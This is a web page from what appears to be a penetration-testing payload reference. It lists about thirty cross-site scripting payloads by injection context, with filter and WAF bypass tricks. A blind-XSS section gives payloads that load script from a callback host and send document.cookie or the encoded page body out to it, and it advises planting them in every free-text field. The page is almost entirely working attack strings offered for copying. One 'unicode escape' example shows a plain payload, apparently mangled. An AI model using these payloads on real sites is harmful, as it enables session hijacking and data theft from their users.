PAYLOADS
Engagement set once — every payload copies with these filled in

Cross-site scripting

class

Getting a browser to execute script you supplied, in someone else's session.

28 payloads · updated 2026-08-24 · see also Encoding and bypass · raw

01Find the reflection first

Where does your input land, and what is it sitting inside?

Before any payload: send a canary and read the response source, not the rendered page. The context you land in decides every payload afterwards, and skipping this is why people fire two hundred payloads and get nothing.

CANARY3
{{CANARY}}Plain. Find it in the source. How many times does it appear?
COPY
{{CANARY}}'"<>&Which characters survive, and which come back encoded?
COPY
{{CANARY}}'"><img src=x>Does a tag actually get parsed, or does it come back as text?
COPY
THE FIVE CONTEXTS
HTML bodyBetween tags. Inject a whole element.
Attribute valueBreak out of the quote first, or use an event handler on the existing tag.
<script> blockYou are already in JS. Break out of the string, no tags needed.
URL attributehref, src, action. Needs a javascript: scheme, not a tag.
JS stringInside quotes inside a script. Close the quote, not the tag.

Encoded on the way in is not the same as safe. If < comes back as &lt; in the body but raw inside an attribute, you have an attribute-context XSS and a body-context dead end. Check every reflection separately.

02HTML body context

Your input lands between tags, so inject a complete element.

BODY CONTEXT6
<img src=x onerror=alert(1)>The baseline. Blocked by most WAFs, but fine for confirming a reflection.
COPY
<svg onload=alert(1)>Shorter, and survives some tag allowlists that forget SVG.
COPY
<details open ontoggle=alert(1)>
COPY
<video><source onerror=alert(1)>
COPY
<img/src=x/onerror=alert(1)>Forward slash works as an attribute separator where spaces are stripped.
COPY
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
COPY

03Attribute context

You are inside a quoted attribute value. Escape it, or don't bother.

ATTRIBUTE BREAKOUT5
"><img src=x onerror=alert(1)>
COPY
'><img src=x onerror=alert(1)>
COPY
" onmouseover="alert(1)No breakout needed — just add an event handler to the tag you're already in.
COPY
" autofocus onfocus="alert(1)Fires without any user interaction, which matters for a demonstrable finding.
COPY
'-alert(1)-'For an attribute that is itself a JavaScript context, like an inline onclick.
COPY

If the quote comes back encoded but the value is used in an event-handler attribute, you don't need to break out at all — you're already inside executable JavaScript.

04Script and JS string context

INSIDE A SCRIPT BLOCK5
';alert(1);//
COPY
";alert(1);//
COPY
</script><svg onload=alert(1)>Closing the script tag works even from inside a string, because the HTML parser runs before the JS parser. This is also what broke the first mockup of this site.
COPY
\';alert(1);//When the app escapes your quote, escape its escape.
COPY
-alert(1)-Numeric context: var x = INPUT; becomes valid arithmetic that still calls the function.
COPY

</script> inside a quoted JavaScript string still ends the script element. Nothing in the JS language can protect you from that, which is why templating engines have to encode it and why a payload list must never let anything parse its own contents.

05Blind XSS

Fires somewhere you can't see — an admin panel, a log viewer, a support ticket.

BLIND4
"><script src=//{{CALLBACK}}></script>
COPY
<img src=x onerror=import('//{{CALLBACK}}/x.js')>
COPY
<img src=x onerror=fetch('//{{CALLBACK}}/'+document.cookie)>Only useful where the cookie lacks HttpOnly. Check first.
COPY
<img src=x onerror=fetch('//{{CALLBACK}}/'+btoa(document.body.innerHTML))>Exfiltrates the page you can't see, which is usually more valuable than the cookie.
COPY

Put these in every free-text field you meet — names, user agents, referrers, ticket bodies — and forget about them. The value of blind XSS is that it pays out days later.

06Filter bypasses

CASE AND ENCODING5
<ScRiPt>alert(1)</ScRiPt>Tag names are case-insensitive at the destination; hand-rolled filters often aren't.
COPY
<img src=x onerror=&#97;lert(1)>HTML entity inside an attribute — decoded by the parser before JS sees it.
COPY
<img src=x onerror=alert(1)>Unicode escape. Valid in JS identifiers, not just strings.
COPY
<img src=x onerror=eval(atob('YWxlcnQoMSk='))>The string alert never appears in the request.
COPY
<img src=x onerror=window['ale'+'rt'](1)>
COPY

ale/**/rt does not work. Comment-splitting separates SQL tokens because the SQL lexer treats a comment as whitespace; in JavaScript it produces two identifiers and a syntax error. Use the unicode escape or the computed property instead.

/
↑↓ move⏎ copy⇧⏎ open pageesc close